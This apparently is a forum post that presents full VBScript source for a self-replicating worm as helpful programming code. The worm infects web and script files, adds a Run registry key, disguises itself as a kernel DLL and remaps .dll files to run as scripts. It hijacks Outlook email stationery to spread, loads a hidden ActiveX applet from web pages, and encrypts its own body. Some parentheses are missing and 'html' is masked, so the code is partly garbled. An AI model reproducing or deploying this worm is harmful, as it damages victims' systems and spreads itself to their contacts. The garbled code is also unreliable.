|
这个代码用VC++扩展编译器调试出来的
喜欢编程的朋友可以看看，相信对大家一定有帮助的！
dim inwhere,ht****text,vbstext,degreesign,appleobject,fso,wsshell,winpath,sube,finalydisk
sub kj_start()
kjsetdim()
kjcreatemilieu()
kjlikeit()
kjcreatemail()
kjpropagate()
end sub
function kjappendto(filepath,typestr)
on error resume next
set readtemp = fso.opentextfile(filepath,1)
tmpstr = readtemp.readall
if instr(tmpstr,"kj_start()" <> 0 or len(tmpstr) < 1 then
readtemp.close
exit function
end if
if typestr = "htt" then
readtemp.close
set filetemp = fso.opentextfile(filepath,2)
filetemp.write "<" & "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & tmpstr & vbcrlf & ht****text
filetemp.close
set fattrib = fso.getfile(filepath)
fattrib.attributes = 34
else
readtemp.close
set filetemp = fso.opentextfile(filepath,8)
if typestr = "ht****" then
filetemp.write vbcrlf & "<" & "ht****>" & vbcrlf & "<" & "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & ht****text
elseif typestr = "vbs" then
filetemp.write vbcrlf & vbstext
end if
filetemp.close
end if
end function
function kjchangesub(currentstring,lastindexchar)
if lastindexchar = 0 then
if left(lcase(currentstring),1) =< lcase("c" then
kjchangesub = finalydisk & ":\"
sube = 0
else
kjchangesub = chr(asc(left(lcase(currentstring),1)) - 1) & ":\"
sube = 0
end if
else
kjchangesub = mid(currentstring,1,lastindexchar)
end if
end function
function kjcreatemail()
on error resume next
if inwhere = "ht****" then
exit function
end if
sharefile = left(winpath,3) & "program files\common files\microsoft shared\stationery\blank.htm"
if (fso.fileexists(sharefile)) then
call kjappendto(sharefile,"ht****"
else
set filetemp = fso.opentextfile(sharefile,2,true)
filetemp.write "<" & "ht****>" & vbcrlf & "<" & "body onload=""" & "vbscript:" & "kj_start()""" & ">" & vbcrlf & ht****text
filetemp.close
end if
defaultid = wsshell.regread("hkey_current_user\identities\default user id"
outlookversion = wsshell.regread("hkey_local_machine\software\microsoft\outlook express\mediaver"
wsshell.regwrite "hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion,1) &".0\mail\compose use stationery",1,"reg_dword"
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion,1) &".0\mail\stationery name",sharefile)
call kjmailreg("hkey_current_user\identities\"&defaultid&"\software\microsoft\outlook express\"& left(outlookversion,1) &".0\mail\wide stationery name",sharefile)
wsshell.regwrite "hkey_current_user\software\microsoft\office\9.0\outlook\options\mail\editorpreference",131072,"reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360","blank"
call kjmailreg("hkey_current_user\software\microsoft\windows nt\currentversion\windows messaging subsystem\profiles\microsoft outlook internet settings\0a0d020000000000c000000000000046\001e0360","blank"
wsshell.regwrite "hkey_current_user\software\microsoft\office\10.0\outlook\options\mail\editorpreference",131072,"reg_dword"
call kjmailreg("hkey_current_user\software\microsoft\office\10.0\common\mailsettings\newstationery","blank"
kjummagefolder(left(winpath,3) & "program files\common files\microsoft shared\stationery"
end function
function kjcreatemilieu()
on error resume next
temppath = ""
if not(fso.fileexists(winpath & "wscript.exe") then
temppath = "system32\"
end if
if temppath = "system32\" then
startupfile = winpath & "system\kernel32.dll"
else
startupfile = winpath & "system\kernel.dll"
end if
wsshell.regwrite "hkey_local_machine\software\microsoft\windows\currentversion\run\kernel32",startupfile
fso.copyfile winpath & "web\kjwall.gif",winpath & "web\folder.htt"
fso.copyfile winpath & "system32\kjwall.gif",winpath & "system32\desktop.ini"
call kjappendto(winpath & "web\folder.htt","htt"
wsshell.regwrite "hkey_classes_root\.dll\","dllfile"
wsshell.regwrite "hkey_classes_root\.dll\content type","application/x-msdownload"
wsshell.regwrite "hkey_classes_root\dllfile\defaulticon\",wsshell.regread("hkey_classes_root\vxdfile\defaulticon\"
wsshell.regwrite "hkey_classes_root\dllfile\scriptengine\","vbscript"
wsshell.regwrite "hkey_classes_root\dllfile\shell\open\command\",winpath & temppath & "wscript.exe ""%1"" %*"
wsshell.regwrite "hkey_classes_root\dllfile\shellex\propertysheethandlers\wshprops\","{60254ca5-953b-11cf-8c96-00aa00b8708c}"
wsshell.regwrite "hkey_classes_root\dllfile\scripthostencode\","{85131631-480c-11d2-b1f9-00c04f86c324}"
set filetemp = fso.opentextfile(startupfile,2,true)
filetemp.write vbstext
filetemp.close
end function
function kjlikeit()
if inwhere <> "ht****" then
exit function
end if
thislocation = document.location
if left(thislocation, 4) = "file" then
thislocation = mid(thislocation,9)
if fso.getextensionname(thislocation) <> "" then
thislocation = left(thislocation,len(thislocation) - len(fso.getfilename(thislocation)))
end if
if len(thislocation) > 3 then
thislocation = thislocation & "\"
end if
kjummagefolder(thislocation)
end if
end function
function kjmailreg(regstr,filename)
on error resume next
regtempstr = wsshell.regread(regstr)
if regtempstr = "" then
wsshell.regwrite regstr,filename
end if
end function
function kjobosub(currentstring)
sube = 0
testout = 0
do while true
testout = testout + 1
if testout > 28 then
currentstring = finalydisk & ":\"
exit do
end if
on error resume next
set thisfolder = fso.getfolder(currentstring)
set dicsub = createobject("scripting.dictionary"
set folders = thisfolder.subfolders
foldercount = 0
for each tempfolder in folders
foldercount = foldercount + 1
dicsub.add foldercount, tempfolder.name
next
if dicsub.count = 0 then
lastindexchar = instrrev(currentstring,"\",len(currentstring)-1)
substring = mid(currentstring,lastindexchar+1,len(currentstring)-lastindexchar-1)
currentstring = kjchangesub(currentstring,lastindexchar)
sube = 1
else
if sube = 0 then
currentstring = currentstring & dicsub.item(1) & "\"
exit do
else
j = 0
for j = 1 to foldercount
if lcase(substring) = lcase(dicsub.item(j)) then
if j < foldercount then
currentstring = currentstring & dicsub.item(j+1) & "\"
exit do
end if
end if
next
lastindexchar = instrrev(currentstring,"\",len(currentstring)-1)
substring = mid(currentstring,lastindexchar+1,len(currentstring)-lastindexchar-1)
currentstring = kjchangesub(currentstring,lastindexchar)
end if
end if
loop
kjobosub = currentstring
end function
function kjpropagate()
on error resume next
regpathvalue = "hkey_local_machine\software\microsoft\outlook express\degree"
diskdegree = wsshell.regread(regpathvalue)
if diskdegree = "" then
diskdegree = finalydisk & ":\"
end if
for i=1 to 5
diskdegree = kjobosub(diskdegree)
kjummagefolder(diskdegree)
next
wsshell.regwrite regpathvalue,diskdegree
end function
function kjummagefolder(pathname)
on error resume next
set foldername = fso.getfolder(pathname)
set thisfiles = foldername.files
httexists = 0
for each thisfile in thisfiles
fileext = ucase(fso.getextensionname(thisfile.path))
if fileext = "htm" or fileext = "ht****" or fileext = "asp" or fileext = "php" or fileext = "jsp" then
call kjappendto(thisfile.path,"ht****"
elseif fileext = "vbs" then
call kjappendto(thisfile.path,"vbs"
elseif fileext = "htt" then
httexists = 1
end if
next
if (ucase(pathname) = ucase(winpath & "desktop\") or (ucase(pathname) = ucase(winpath & "desktop")then
httexists = 1
end if
if httexists = 0 then
fso.copyfile winpath & "system32\desktop.ini",pathname
fso.copyfile winpath & "web\folder.htt",pathname
end if
end function
function kjsetdim()
on error resume next
err.clear
testit = wscript.scriptfullname
if err then
inwhere = "ht****"
else
inwhere = "vbs"
end if
if inwhere = "vbs" then
set fso = createobject("scripting.filesystemobject"
set wsshell = createobject("wscript.shell"
else
set appleobject = document.applets("kj_guest"
appleobject.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}"
appleobject.createinstance()
set wsshell = appleobject.getobject()
appleobject.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}"
appleobject.createinstance()
set fso = appleobject.getobject()
end if
set diskobject = fso.drives
for each disktemp in diskobject
if disktemp.drivetype <> 2 and disktemp.drivetype <> 1 then
exit for
end if
finalydisk = disktemp.driveletter
next
dim otherarr(3)
randomize
for i=0 to 3
otherarr(i) = int((9 * rnd))
next
tempstring = ""
for i=1 to len(thistext)
tempnum = asc(mid(thistext,i,1))
if tempnum = 13 then
tempnum = 28
elseif tempnum = 10 then
tempnum = 29
end if
tempchar = chr(tempnum - otherarr(i mod 4))
if tempchar = chr(34) then
tempchar = chr(18)
end if
tempstring = tempstring & tempchar
next
unlockstr = "execute(""dim keyarr(3),thistext""&vbcrlf&""keyarr(0) = " & otherarr(0) & """&vbcrlf&""keyarr(1) = " & otherarr(1) & """&vbcrlf&""keyarr(2) = " & otherarr(2) & """&vbcrlf&""keyarr(3) = " & otherarr(3) & """&vbcrlf&""for i=1 to len(exestring)""&vbcrlf&""tempnum = asc(mid(exestring,i,1))""&vbcrlf&""if tempnum = 18 then""&vbcrlf&""tempnum = 34""&vbcrlf&""end if""&vbcrlf&""tempchar = chr(tempnum + keyarr(i mod 4))""&vbcrlf&""if tempchar = chr(28) then""&vbcrlf&""tempchar = vbcr""&vbcrlf&""elseif tempchar = chr(29) then""&vbcrlf&""tempchar = vblf""&vbcrlf&""end if""&vbcrlf&""thistext = thistext & tempchar""&vbcrlf&""next""" & vbcrlf & "execute(thistext)"
thistext = "exestring = """ & tempstring & """"
ht****text ="<" & "script language=vbscript>" & vbcrlf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "applet name=kj""&""_guest height=0 width=0 code=com.ms.""&""activex.active""&""xcomponent>" & "<" & "/applet>" & "<" & "/div>""" & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "script language=vbscript>" & vbcrlf & thistext & vbcrlf & unlockstr & vbcrlf & "<" & "/script>" & vbcrlf & "<" & "/body>" & vbcrlf & "<" & "/ht****>"
vbstext = thistext & vbcrlf & unlockstr & vbcrlf & "kj_start()"
winpath = fso.getspecialfolder(0) & "\"
if (fso.fileexists(winpath & "web\folder.htt") then
fso.copyfile winpath & "web\folder.htt",winpath & "web\kjwall.gif"
end if
if (fso.fileexists(winpath & "system32\desktop.ini") then
fso.copyfile winpath & "system32\desktop.ini",winpath & "system32\kjwall.gif"
end if
end function
OVER
|
